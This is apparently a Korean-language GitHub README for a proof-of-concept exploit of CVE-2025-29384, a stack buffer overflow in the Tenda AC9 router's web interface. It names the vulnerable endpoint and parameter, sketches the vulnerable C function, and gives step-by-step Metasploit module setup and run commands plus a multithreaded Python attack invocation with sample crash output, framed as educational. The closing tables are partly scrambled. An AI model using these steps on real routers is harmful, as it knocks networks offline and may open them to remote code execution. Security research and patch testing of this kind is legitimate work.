
CVE-2025-29384에 대한 개념 증명 익스플로잇, Tenda AC9 라우터의 심각한 스택 기반 버퍼 오버플로우입니다. MIPS 기반 펌웨어에서 인증되지 않은 원격 DoS 및 잠재적 RCE를 위한 Python 및 Metasploit 모듈을 포함합니다.
이 저장소는 Tenda AC9 라우터에서 펌웨어 버전 V15.03.05.14_multi에서 발견된 중요한 스택 기반 버퍼 오버플로우 취약점인 CVE-2025-29384에 대한 고급 개념 증명(PoC) 익스플로잇을 포함합니다. 이 취약점은 인증되지 않은 원격 공격자가 라우터의 웹 서버를 충돌시키고(서비스 거부, DoS) 잠재적으로 임의 코드를 실행할 수 있게 합니다(원격 코드 실행, RCE).
이 프로젝트의 목적은 익스플로잇 개발 기술을 시연하고, 사이버 보안 커뮤니티에 기여하며, 학술 평가(예: 사이버 보안 장학금)를 위한 교육적 전시를 제공하는 것입니다.
CVE-2025-29384는 Tenda AC9 라우터의 웹 관리 인터페이스, 특히 다음 엔드포인트에 영향을 미칩니다:
/goform/AdvSetMacMtuWan
이 취약점은 HTTP POST 요청을 통해 처리되는 wanMTU 매개변수에 대한 부적절한 경계 검사로 인해 발생합니다. 입력값이 검증 없이 고정 크기 스택 버퍼에 복사되어 전형적인 스택 기반 버퍼 오버플로우를 유발합니다.
취약한 함수(가상 재구성)는 다음과 같은 구조를 따릅니다:
void process_mtu(char *input) {
char buffer[256]; // 고정 크기 스택 버퍼
strcpy(buffer, input); // 길이 검사 없음, 오버플로우 발생
// MTU 값 처리...
}
과도한 크기의 페이로드(예: 1024+ 바이트)를 보내는 공격자는 인접 메모리(함수의 반환 주소 포함)를 덮어쓰며, 잠재적으로 코드 실행으로 이어질 수 있습니다.
Tenda AC9는 다음과 같은 사양을 가진 듀얼 밴드 무선 라우터입니다:
이 저장소는 CVE-2025-29384에 대한 Ruby 기반 Metasploit 모듈도 포함합니다. 이 모듈은 Metasploit 프레임워크와 원활하게 통합되어 msfconsole을 사용하여 취약점을 익스플로잇할 수 있게 합니다.
git clone https://github.com/Otsmane-Ahmed/cve-2025-29384-poc
cd cve-2025-29384-poc
Ruby 모듈 파일을 찾아 Metasploit의 익스플로잇 디렉토리로 복사합니다:
cp tenda_ac9_stack_overflow.rb ~/.msf4/modules/exploits/linux/http/
참고: 디렉토리가 없으면 생성합니다:
mkdir -p ~/.msf4/modules/exploits/linux/http/
Metasploit 프레임워크를 시작합니다:
msfconsole
모듈을 로드합니다:
use exploit/linux/http/tenda_ac9_stack_overflow
대상 IP 주소를 설정합니다:
set RHOSTS <target_ip>
페이로드 크기를 설정합니다 (선택 사항, 기본값은 1024):
set PAYLOAD_SIZE 2048
익스플로잇을 실행합니다:
run
[*] Targeting Tenda AC9 at 192.168.0.1:80...
[*] Sending payload of size 2048...
[+] Payload sent successfully!
[*] Response: HTTP/1.1 200 OK...
성공: 라우터의 웹 서버가 충돌하여 서비스 거부(DoS) 상태가 발생합니다. 실패: 라우터가 계속 작동하며, 취약하지 않거나 패치된 펌웨어 버전을 실행 중임을 나타낼 수 있습니다.
이 PoC는 /goform/AdvSetMacMtuWan에 과도한 크기의 입력을 보내 버퍼 오버플로우를 트리거하여 웹 서버를 충돌시키는 Python 기반 익스플로잇입니다.
멀티스레딩 – 안정성을 위해 여러 동시 익스플로잇 시도를 실행합니다.
동적 페이로드 – 무작위화된 base64로 인코딩된 공격 문자열을 생성합니다.
로깅 – 구조화된 디버깅을 위해 Python의 로깅 모듈을 사용합니다.
사용자 지정 가능한 매개변수 – 대상 IP, 페이로드 크기, 스레드 수를 조정합니다.
python poc.py --target <router_ip> --size 2048 --threads 10
| 인수 | 설명 |
|---|---|
--target | 라우터 IP (기본값: 192.168.0.1) |
[+] CVE-2025-29384 Exploit Engine
[INFO] Target: 192.168.0.1
[INFO] Sending payload (2048 bytes)...
[WARNING] Target timeout - possible crash!
[INFO] Exploit sequence completed.
성공: 라우터의 웹 인터페이스가 응답하지 않음 (DoS 상태).
실패: 라우터가 여전히 응답 (취약하지 않거나 잘못된 펌웨어).
익스플로잇이 라우터를 성공적으로 충돌시키는지 확인하려면 웹 인터페이스를 다시 로드해 보십시오. 응답하지 않으면 공격이 성공한 것입니다. 추가 분석을 위해 네트워크 로그에서 연결 끊김을 확인하거나 ping을 사용하여 장치 응답성을 확인하십시오.
이 프로젝트는 교육적 및 윤리적 해킹 목적으로만 제공됩니다. 이 익스플로잇의 무단 사용은 불법입니다. 저자는 이 코드의 오용이나 손해에 대해 책임을 지지 않습니다.
Otsmane Ahmed가 ❤️로 개발함
이 프로젝트는 MIT 라이선스 하에 배포됩니다.
| 메트릭 | 값 |
|---|
| 공격 벡터 | 네트워크 |
| 공격 복잡성 | 낮음 |
| 필요 권한 | 없음 |
| 사용자 상호작용 | 없음 |
| 기밀성 영향 | 높음 |
| 무결성 영향 | 높음 |
| 가용성 영향 | 높음 |
--size페이로드 크기 (바이트, 기본값: 1024) |
--threads | 동시 스레드 수 (기본값: 5) |